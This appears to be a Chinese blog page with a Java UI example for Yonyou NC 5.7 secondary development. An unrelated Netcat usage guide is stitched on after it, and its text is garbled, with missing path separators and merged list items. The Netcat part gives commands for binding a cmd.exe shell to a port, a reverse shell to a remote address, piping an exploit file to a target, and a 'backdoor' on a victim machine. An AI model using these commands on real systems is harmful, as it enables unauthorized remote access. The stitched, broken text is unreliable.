用友NC单据UI基本代码示例

本文提供了一段在用友NC57环境下进行二次开发的基础示例,详细介绍了如何创建单据类型、配置按钮及状态管理等关键步骤。适合于初学者快速上手并避免重复摸索。

本示例在用友NC57环境下调试通过

最近在做基于NC的二次开发,这种封闭的系统文档很少,一个简单的例子都不能找到帮助。

本示例的目的是为了让后来者少走我走过的弯路

package nc.ui.ic.generaltc;

import nc.ui.pub.ButtonObject;
import nc.ui.pub.ClientEnvironment;
import nc.ui.pub.ToftPanel;
import nc.ui.pub.beans.UIPanel;
import nc.ui.pub.bill.BillCardPanel;
import nc.ui.pub.bill.BillEditEvent;
import nc.ui.pub.bill.BillEditListener;
import nc.ui.pub.bill.BillItem;
import nc.ui.pub.bill.BillListPanel;
import nc.ui.scm.pub.query.SCMQueryConditionDlg;
import javax.swing.JComboBox;
import javax.swing.JLabel;
import javax.swing.JTextField;
import java.awt.Dimension;

/**
 * NC5.7单据基础示例
 * @ClassName: ClientUI
 * @Description: TODO
 * @author s
 * @date 2013-4-9 下午2:22:21
 * BillEditListener  是按钮监听类
 * 实现BillEditListener,需实现bodyRowChange()、afterEdit()两个方法
 */
public class ClientUI extends ToftPanel implements BillEditListener {

	// 单据类型
	private BillCardPanel cpBill = null;
	
	// 客户端环境变量类
	private ClientEnvironment ce = getClientEnvironment();
	
	// 按钮查询,增加,修改,删除,保存,取消,打印,审核,弃审,关闭,打开.
	protected ButtonObject bnQuery = new ButtonObject("查询", "查询", 1, "查询");
	protected ButtonObject bnAdd = new ButtonObject("增加", "增加", 2, "增加");
	protected ButtonObject bnModify = new ButtonObject("修改", "修改", 3, "修改");
	protected ButtonObject bnDelete = new ButtonObject("删除", "删除", 4, "删除");
	protected ButtonObject bnSave = new ButtonObject("保存", "保存", 5, "保存");
	protected ButtonObject bnCancel = new ButtonObject("取消", "取消", 6, "取消");
	protected ButtonObject bnPrint = new ButtonObject("打印", "打印", 7, "打印");
	protected ButtonObject bnAudit = new ButtonObject("审核", "审核", 9, "审核");
	protected ButtonObject bnUnAudit = new ButtonObject("弃审", "弃审", 10, "弃审");
	protected ButtonObject bnClose = new ButtonObject("关闭", "关闭", 11, "关闭");
	protected ButtonObject bnOpen = new ButtonObject("打开", "打开", 12, "打开");
	
	protected ButtonObject[] bgMain = { bnQuery, bnAdd, bnModify, bnDelete,
			bnSave, bnCancel, bnPrint, bnAudit, bnUnAudit, bnClose, bnOpen };
	
	// 状态 有下列五种状态
	private int iStatus = 0;
	private int INIT = 0;
	private int NEW = 1;
	private int UPDATED = 2;
	private int DELETED = 3;
	private int SAVED = 4;
	
	private nc.vo.scm.pub.session.ClientLink m_cl=null;
	protected UIPanel conditionpanel = null;

	public ClientUI() {
		super();
		initialize();
	}

	/**
	 * 选中行触发该方法
	 */
	public void bodyRowChange(BillEditEvent arg0) {
		// TODO Auto-generated method stub
		// int isChangeRow = arg0.getRow();
	}

	public void afterEdit(BillEditEvent arg0) {
	}

	/**
	 * 界面初始化。
	 * @Title: initialize
	 * @Description: TODO
	 * @return void
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-10
	 */
	private void initialize() {
		try {
			setName("TcUI");
			m_cl = new nc.vo.scm.pub.session.ClientLink(ClientEnvironment.getInstance());
			//INIT,NEW,UPDATED,DELETED,SAVED;
			iStatus = INIT;
			setBnStatus(iStatus);
			//bnOpen.setHint("测试!!!!!");
			// 加载按钮
			setButtons(bgMain);
			add(getBillCardPanel());
			// onQuery();
		} catch (Exception e) {
			 nc.vo.scm.pub.SCMEnv.out(e.getMessage());
			 JLabel msg = new JLabel(e.getMessage());
			 msg.setHorizontalAlignment(JLabel.CENTER);
			 add(msg);
		}
	}

	/**
	 * 设置单据窗体
	 * @Title: getBillCardPanel
	 * @Description: TODO
	 * @return BillCardPanel
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-10
	 */
	private BillCardPanel getBillCardPanel() {
		if (cpBill == null) {
			try {
				cpBill = new BillCardPanel();
				/*
				 * 单据模板有两种常用加载方式
				 * 第一种是根据“单据模板编号”来加载
				 * 单据模板编号是模板在标准产品库中所保存的模板编号,在pub_billtemplet(单据模板主表)中的pk_billtemplet字段
				 * 可根据nodecode条件去pub_billtemplet表中查询
				 * 可用语句select pk_billtemplet from pub_billtemplet where nodecode='40081001'来查询
				 * nodecode是在“功能注册”时定义的节点“功能编码”,或称“节点编号”,见图1(单据类型管理)
				 */
				//cpBill.loadTemplet("0001AA1000000004OJWO");
				/*
				 * 第二种方式是使用cpBill.loadTemplet(strBillType, strBusiType, strOperator, strCorp)方法加载
				 * strBillType是单据模板在标准产品库中所保存的模板类型,在pub_billtemplet(单据模板主表)中的pk_billtypecode字段
				 * 可根据nodecode条件去pub_billtemplet表中查询
				 * 可用语句select pk_billtypecode from pub_billtemplet where nodecode='40081001'来查询
				 * strBusiType是业务类型,可设为null
				 * strOperator是操作者,使用ClientEnvironment.getUser().getPrimaryKey()取得环境用户参数
				 * strCorp是公司参数,使用ClientEnvironment.getCorporation().getPk_corp()取得环境公司参数
				 */
				cpBill.loadTemplet("40081001", null, ce.getUser().getPrimaryKey(), ce.getCorporation().getPk_corp());
				//设置单据体表体菜单是否显示
				cpBill.setBodyMenuShow(false);
				//添加监听
				cpBill.addEditListener(this);

			} catch (java.lang.Throwable ivjExc) {
			}
		}
		return cpBill;
	}
	/**
	 * 
	 * @Title: getConditionPanel
	 * @Description: TODO
	 * @return UIPanel
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-9
	 */
	protected UIPanel getConditionPanel() {
		if (conditionpanel == null) {
			conditionpanel = new UIPanel();
			conditionpanel.setName("UIPanel");
			conditionpanel.setLayout(new java.awt.GridLayout(2, 6, 0, 1));
			conditionpanel.setMaximumSize(new Dimension(550, 40));
			conditionpanel.setPreferredSize(new Dimension(550, 40));
			conditionpanel.setMinimumSize(new Dimension(550, 1));
		}
		return conditionpanel;
	}
	
	@Override
	public String getTitle() {
		// TODO Auto-generated method stub
		return null;
	}

	@Override
	public void onButtonClicked(ButtonObject arg0) {
		// TODO Auto-generated method stub
		
	}
	
	/**
	 * 设置按钮状态。
	 * @Title: setBnStatus
	 * @Description: TODO
	 * @param status
	 * @return void
	 * @throws
	 * 创建者:s
	 * 创建日期:2013-4-10
	 */
	public void setBnStatus(int status) {
		//初始、删除、保存状态
		if (status == INIT || status == DELETED || status == SAVED) {
			bnQuery.setEnabled(true);
			bnAdd.setEnabled(true);
			bnModify.setEnabled(true);
			bnSave.setEnabled(false);
			bnCancel.setEnabled(false);
			bnDelete.setEnabled(true);
			//	bnModify.setEnabled(false);
		}
		//增加、修改状态
		else if (status == NEW || status == UPDATED) {
			bnQuery.setEnabled(false);
			bnAdd.setEnabled(false);
			bnSave.setEnabled(true);
			bnCancel.setEnabled(true);
			bnDelete.setEnabled(false);
			bnModify.setEnabled(false);
		}
			//bnPrint.setEnabled(false);
		updateButtons();
	}
}

图1:单据类型管理界面


软件介绍: 工具名:Netcat 作者:Hobbit && Chris Wysopal 类别:开放源码 平台:Linux/BSD/Unix/Windows WINDOWS下版本号:[v1.10 NT] 参数介绍: *nc.exe -h*即可看到各参数的使用方法。 基本格式:nc [-options] hostname port[s] [ports] … nc -l -p port [options] [hostname] [port] -d 后台模式 -e prog 程序重定向,一旦连接,就执行 [危险!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, … -h 帮助信息 -i secs 延时的间隔 -l 监听模式,用于入站连接 -L 连接关闭后,仍然继续监听 -n 指定数字的IP地址,不能用hostname -o file 记录16进制的传输 -p port 本地端口号 -r 随机本地及远程端口 -s addr 本地源地址 -t 使用TELNET交互方式 -u UDP模式 -v 详细输出–用两个-v可得到更详细的内容 -w secs timeout的时间 -z 将输入输出关掉–用于扫描时 端口的表示方法可写为M-N的范围格式。 ======================================================== 基本用法: 1)连接到REMOTE主机,例子: 格式:nc -nvv 192.168.x.x 80 讲解:连到192.168.x.x的TCP80端口 2)监听LOCAL主机,例子: 格式:nc -l -p 80 讲解:监听本机的TCP80端口 3)扫描远程主机,例子: 格式:nc -nvv -w2 -z 192.168.x.x 80-445 讲解:扫描192.168.x.x的TCP80到TCP445的所有端口 4)REMOTE主机绑定SHELL,例子: 格式:nc -l -p 5354 -t -e c:winntsystem32cmd.exe 讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口 5)REMOTE主机绑定SHELL并反向连接,例子: 格式:nc -t -e c:winntsystem32cmd.exe 192.168.x.x 5354 讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口 以上为最基本的几种用法(其实NC的用法还有很多, 当配合管道命令”|”与重定向命令””等等命令功能更强大……)。 ======================================================== 高级用法: 6)作攻击程序用,例子: 格式1:type.exe c:exploit.txt|nc -nvv 192.168.x.x 80 格式2:nc -nvv 192.168.x.x 80 c:log.txt 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到*c:log.txt*中,如果把*>* 改为*>>*即可以追加日志 附:*c:log.txt*为日志等 9)作蜜罐用[3],例子: 格式1:nc -L -p 80 < c:honeypot.txt 格式2:type.exe c:honeypot.txt|nc -L -p 80 讲解:使用*-L*可以不停地监听某一个端口,直到ctrl+c为止,并把*c:honeypot.txt*的内容*送*入其管道中 10) 后门 victim machine: //受害者的机器 nc -l -p port -e cmd //win2000 nc -l -p port -e /bin/sh //unix,linux
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值